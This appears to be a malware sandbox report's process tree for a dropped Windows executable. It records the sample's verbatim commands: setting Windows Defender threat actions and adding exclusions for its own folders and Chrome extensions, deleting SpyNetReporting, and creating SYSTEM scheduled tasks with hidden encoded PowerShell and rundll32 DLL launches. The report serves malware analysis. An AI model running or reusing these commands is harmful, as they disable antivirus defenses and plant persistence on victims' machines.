C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exeC:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\SofgVcoVSWNQWUG\PCRACmz.exe 0l /wqsite_idGTF 525403 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:220 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:520 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:700
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:4356
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:3356
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:4992
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:4560
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:1684
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:392
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:3344
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:1504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:2072
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:1760
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:2480
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:4020
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:3472
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:4224
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:4304
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:3016
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:5052
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:2872
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:2904
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:3088
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:2380
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:4276
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:4576
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:4400
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:4012
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:4016
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:3960
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IUaOUdhiTQgU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IUaOUdhiTQgU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TNrIrJXzU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TNrIrJXzU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UbaivrmHqZUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\UbaivrmHqZUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VgjyoxcUurXmC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VgjyoxcUurXmC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\JiflobLJSPStBDVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\JiflobLJSPStBDVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\eogxozCJrYNgvSKM\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\eogxozCJrYNgvSKM\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3592 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IUaOUdhiTQgU2" /t REG_DWORD /d 0 /reg:323⤵PID:4504
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IUaOUdhiTQgU2" /t REG_DWORD /d 0 /reg:324⤵PID:1456
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IUaOUdhiTQgU2" /t REG_DWORD /d 0 /reg:643⤵PID:1396
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TNrIrJXzU" /t REG_DWORD /d 0 /reg:323⤵PID:876
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TNrIrJXzU" /t REG_DWORD /d 0 /reg:643⤵PID:4856
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UbaivrmHqZUn" /t REG_DWORD /d 0 /reg:323⤵PID:3620
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\UbaivrmHqZUn" /t REG_DWORD /d 0 /reg:643⤵PID:4752
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VgjyoxcUurXmC" /t REG_DWORD /d 0 /reg:323⤵PID:928
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VgjyoxcUurXmC" /t REG_DWORD /d 0 /reg:643⤵PID:4496
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR" /t REG_DWORD /d 0 /reg:323⤵PID:3364
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR" /t REG_DWORD /d 0 /reg:643⤵PID:212
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\JiflobLJSPStBDVB /t REG_DWORD /d 0 /reg:323⤵PID:5020
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\JiflobLJSPStBDVB /t REG_DWORD /d 0 /reg:643⤵PID:3404
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:4816
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:2900
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy /t REG_DWORD /d 0 /reg:323⤵PID:4980
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\wAuKxhFMAdiQGsoHy /t REG_DWORD /d 0 /reg:643⤵PID:4352
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\eogxozCJrYNgvSKM /t REG_DWORD /d 0 /reg:323⤵PID:3220
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\eogxozCJrYNgvSKM /t REG_DWORD /d 0 /reg:643⤵PID:4484
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gczKXGUlY" /SC once /ST 01:18:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:4848
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gczKXGUlY"2⤵PID:3780
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gczKXGUlY"2⤵PID:2892
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "YjdyicABEfUJyYqxF" /SC once /ST 02:07:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe\" I7 /sksite_idJjK 525403 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2396
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "YjdyicABEfUJyYqxF"2⤵PID:3356
-
-
C:\Windows\SysWOW64\rundll32.exec:\windows\system32\rundll32.EXE "C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll",#1 /jUsite_ideMZ 5254032⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:4176 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "aaSAiCeWTOJWAqakW"3⤵PID:3700
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5084 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:4540
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc1⤵PID:1752
-
\??\c:\windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:3944
-
C:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exeC:\Windows\Temp\eogxozCJrYNgvSKM\yqBNUoJESotNheK\MZhUnIz.exe I7 /sksite_idJjK 525403 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2936 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bioYAMjDPNiNoqxvcS"2⤵PID:4508
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:322⤵PID:4124
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:323⤵PID:3752
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:642⤵PID:1812
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:643⤵PID:4188
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\TNrIrJXzU\eCbFaT.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "RkwdBuXRacmpEbY" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4592
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "RkwdBuXRacmpEbY2" /F /xml "C:\Program Files (x86)\TNrIrJXzU\nCSXRSu.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3748
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "RkwdBuXRacmpEbY"2⤵PID:1624
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "RkwdBuXRacmpEbY"2⤵PID:5024
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ulMIPatxpFafmD" /F /xml "C:\Program Files (x86)\IUaOUdhiTQgU2\kCUohFd.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:5100
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "kuMWFrkDPqCqj2" /F /xml "C:\ProgramData\JiflobLJSPStBDVB\OIclcCM.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4916
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "idGglYgIlRbjxykKx2" /F /xml "C:\Program Files (x86)\dACkfQRkXjMlVDtnXZR\MjFCbLg.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3256
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "EvJmcymORqECUgpBZDb2" /F /xml "C:\Program Files (x86)\VgjyoxcUurXmC\cwEpdcx.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:652
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "aaSAiCeWTOJWAqakW" /SC once /ST 00:11:33 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll\",#1 /jUsite_ideMZ 525403" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4356
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "aaSAiCeWTOJWAqakW"2⤵PID:3604
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:322⤵PID:4220
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:323⤵PID:2568
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:642⤵PID:2076
-
C:\Windows\SysWOW64\reg.exeREG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:643⤵PID:4400
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "YjdyicABEfUJyYqxF"2⤵PID:3044
-
-
\??\c:\windows\system32\rundll32.EXEc:\windows\system32\rundll32.EXE "C:\Windows\Temp\eogxozCJrYNgvSKM\lrkHOdsk\QoKuPcd.dll",#1 /jUsite_ideMZ 5254031⤵PID:2164
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
